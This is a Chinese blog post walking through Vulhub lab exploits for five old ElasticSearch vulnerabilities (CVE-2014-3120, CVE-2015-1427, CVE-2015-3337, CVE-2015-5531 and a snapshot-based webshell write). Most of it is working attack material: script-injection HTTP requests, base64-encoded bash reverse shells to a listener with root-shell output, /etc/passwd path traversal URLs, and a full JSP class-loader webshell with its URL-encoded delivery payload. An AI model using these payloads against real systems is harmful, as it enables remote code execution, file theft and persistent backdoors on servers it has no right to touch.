Vulhub 漏洞学习之:ElasticSearch

Vulhub 漏洞学习之:ElasticSearch

1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.1.1

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,利用MVEL通过以下命令直接执行任意代码:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

1.1 环境安装

docker-compose build
docker-compose up -d

1.2 漏洞利用过程

  1. Payload

    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
      }
    
  2. 该漏洞需要es中至少存在一条数据,创建数据:

    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "phithon"
    }
    
  3. 执行任意代码:

    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    

    image-20220609200134912

    1.3 GetShell

  4. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 455
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    
  5. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 48194
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@1e49828c7901:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@1e49828c7901:/usr/share/elasticsearch# 
    

2 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.2

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。

  1. 是一个沙盒绕过
  2. 是一个Goovy代码执行漏洞

原理参考

Remote Code Execution in Elasticsearch - CVE-2015-1427 (jordan-wright.com)

2.1 POC构造

lupin和tang3分别提出了两种执行命令的方法:

  1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
  2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res

2.2 环境安装

docker-compose build
docker-compose up -d

2.3 漏洞利用过程

要求es中至少有一条数据,增加数据:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

2.3.1 使用Java反射方法绕过沙盒

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

2.3.2 利用Groovy语言执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.210.13:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 158

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

image-202206092002223922.4 GetShell

  1. GetShell的Payload

    POST /_search?pretty HTTP/1.1
    Host: 192.168.210.13:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 257
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getText()"}}}
    
    
  2. 成功GetShell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 37106
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@270236e1e4d5:/usr/share/elasticsearch# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    

3 ElasticSearch 目录穿越漏洞(CVE-2015-3337)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.4.4
  • 影响版本:1.4.5以下/1.5.2以下

3.1 POC构造

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

3.2 环境安装

docker-compose build
docker-compose up -d

测试环境需要安装了一个插件:elasticsearch-head

3.3 漏洞利用过程

  1. 查看所有已安装的插件:http://your-ip:9200/_cat/plugins

  2. 访问已安装的插件:http://your-ip:9200/_plugin/head/

  3. 访问/_plugin/head,根据漏洞成因,利用../实现目录穿越。(不要在浏览器中访问)

    http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
    

4 ElasticSearch 目录穿越漏洞(CVE-2015-5531)

  • jre版本:openjdk:8-jre
  • elasticsearch版本:v1.6.0
  • 影响版本:1.6.1以下

:elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

ElasticSearch 1.6.0 - Arbitrary File Download - Linux webapps Exploit (exploit-db.com)

4.1 POC构造

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单,要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的。

4.2 环境安装

docker-compose build
docker-compose up -d

4.3 漏洞利用过程

  1. 新建一个仓库

    PUT /_snapshot/test HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108
    
    
    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test" 
        }
    }
    
  2. 创建一个快照

    PUT /_snapshot/test2 HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108
    
    
    
    
    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
        }
    }
    
  3. 目录穿越读取任意文件

    • 访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
  4. 在错误信息中包含文件内容(编码后),对其进行解码即可获得文件

5 Elasticsearch写入webshell漏洞(WooYun-2015-110216)

5.1 POC构造

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

5.2 环境安装

编译与启动测试环境:

docker-compose build
docker-compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

5.3 漏洞利用过程

  1. 创建一个恶意索引文档:

    curl -XPOST http://192.168.50.4:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    '
    
    // BP Payload
    POST /test.jsp/test.jsp/1 HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 228
    Content-Type: application/x-www-form-urlencoded
    
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    

    image-20220609211941408

  2. 创建一个恶意的存储库,其中location的值即为要写入的路径。

    curl -XPUT 'http://192.168.50.4:9200/_snapshot/yz.jsp' -d '{
         "type": "fs",
         "settings": {
              "location": "/usr/local/tomcat/webapps/wwwroot/",
              "compress": false
         }
    }'
    
    
    // BP Payload
    PUT /_snapshot/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 142
    Content-Type: application/x-www-form-urlencoded
    
    {
         "type": "fs",
         "settings": {
              "location": "/usr/local/tomcat/webapps/wwwroot/",
              "compress": false
         }
    }
    

    image-20220609212132889

    这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

  3. 存储库验证并创建:

    curl -XPUT "http://192.168.50.4:9200/_snapshot/yz.jsp/yz.jsp" -d '{
         "indices": "yz.jsp",
         "ignore_unavailable": "true",
         "include_global_state": false
    }'
    
    // BP Payload
    PUT /_snapshot/test.jsp/test.jsp HTTP/1.1
    Host: 192.168.50.4:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept-Language: en
    Connection: close
    Content-Length: 105
    Content-Type: application/x-www-form-urlencoded
    
    {
         "indices": "test.jsp",
         "ignore_unavailable": "true",
         "include_global_state": false
    }
    

    image-20220609212630421

  4. 路径http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp为写入的Webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:写入success字符。

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=success
    
  5. 验证是否写入成功

     curl -XGET "http://192.168.50.4:8080/wwwroot/test.jsp" 
    success   
    

5.4 GetShell

  1. 找一个jsp的webshell,密码为:acmd

    <%!
    class OPERAND extends ClassLoader{
      OPERAND(ClassLoader c){super(c);}
      public Class hack(byte[] b){
        return super.defineClass(b, 0, b.length);
      }
    }
    public byte[] trace(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
    %>
    <%
    String cls = request.getParameter("acmd");
    if (cls != null) {
      new OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new Object[]{request,response});
    }
    %>
    
    
  2. 对JSP的WEBShell代码进行url编码

    1. 在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具 (jsons.cn)
  3. 构造最后的Payload,并利用浏览器写入payload

    http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=%3C%25!%0Aclass%20OPERAND%20extends%20ClassLoader%7B%0A%20%20OPERAND(ClassLoader%20c)%7Bsuper(c)%3B%7D%0A%20%20public%20Class%20hack(byte%5B%5D%20b)%7B%0A%20%20%20%20return%20super.defineClass(b%2C%200%2C%20b.length)%3B%0A%20%20%7D%0A%7D%0Apublic%20byte%5B%5D%20trace(String%20str)%20throws%20Exception%20%7B%0A%20%20Class%20base64%3B%0A%20%20byte%5B%5D%20value%20%3D%20null%3B%0A%20%20try%20%7B%0A%20%20%20%20base64%3DClass.forName(%22sun.misc.BASE64Decoder%22)%3B%0A%20%20%20%20Object%20decoder%20%3D%20base64.newInstance()%3B%0A%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decodeBuffer%22%2C%20new%20Class%5B%5D%20%7BString.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%7D%20catch%20(Exception%20e)%20%7B%0A%20%20%20%20try%20%7B%0A%20%20%20%20%20%20base64%3DClass.forName(%22java.util.Base64%22)%3B%0A%20%20%20%20%20%20Object%20decoder%20%3D%20base64.getMethod(%22getDecoder%22%2C%20null).invoke(base64%2C%20null)%3B%0A%20%20%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decode%22%2C%20new%20Class%5B%5D%20%7B%20String.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%20%20%7D%20catch%20(Exception%20ee)%20%7B%7D%0A%20%20%7D%0A%20%20return%20value%3B%0A%7D%0A%25%3E%0A%3C%25%0AString%20cls%20%3D%20request.getParameter(%22acmd%22)%3B%0Aif%20(cls%20!%3D%20null)%20%7B%0A%20%20new%20OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new%20Object%5B%5D%7Brequest%2Cresponse%7D)%3B%0A%7D%0A%25%3E%0A
    
  4. 成功GET Shell

    image-20220609222737390

posted @ 2022-06-09 22:30  f_carey  阅读(711)  评论(0编辑  收藏  举报